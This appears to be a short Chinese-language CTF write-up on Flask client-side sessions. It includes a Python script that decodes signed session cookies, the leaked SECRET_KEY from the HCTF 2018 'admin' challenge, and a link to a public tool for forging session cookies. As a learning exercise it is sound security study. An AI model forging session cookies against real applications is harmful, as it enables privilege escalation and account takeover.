falsk中session的构成
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
具体构造方法可参考这篇文章:
https://cizixs.com/2017/03/08/flask-insight-session/
flask中session的伪造
假设现在我们有一串 session 值为:
eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY
那么我们可以通过如下代码对其进行解密:
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
解密结果:
我们还可以通过解密脚本:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
运行结果:
但是如果我们想要加密伪造生成自己想要的session
还需要知道SECRET_KEY
。通常保存在config.py
中。
以[HCTF 2018]admin
这道题来说,其SECRET_KEY
为:
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
这里我们使用这个flask_session
加密脚本:
https://github.com/noraj/flask-session-cookie-manager
利用生成的session
进行伪造即可。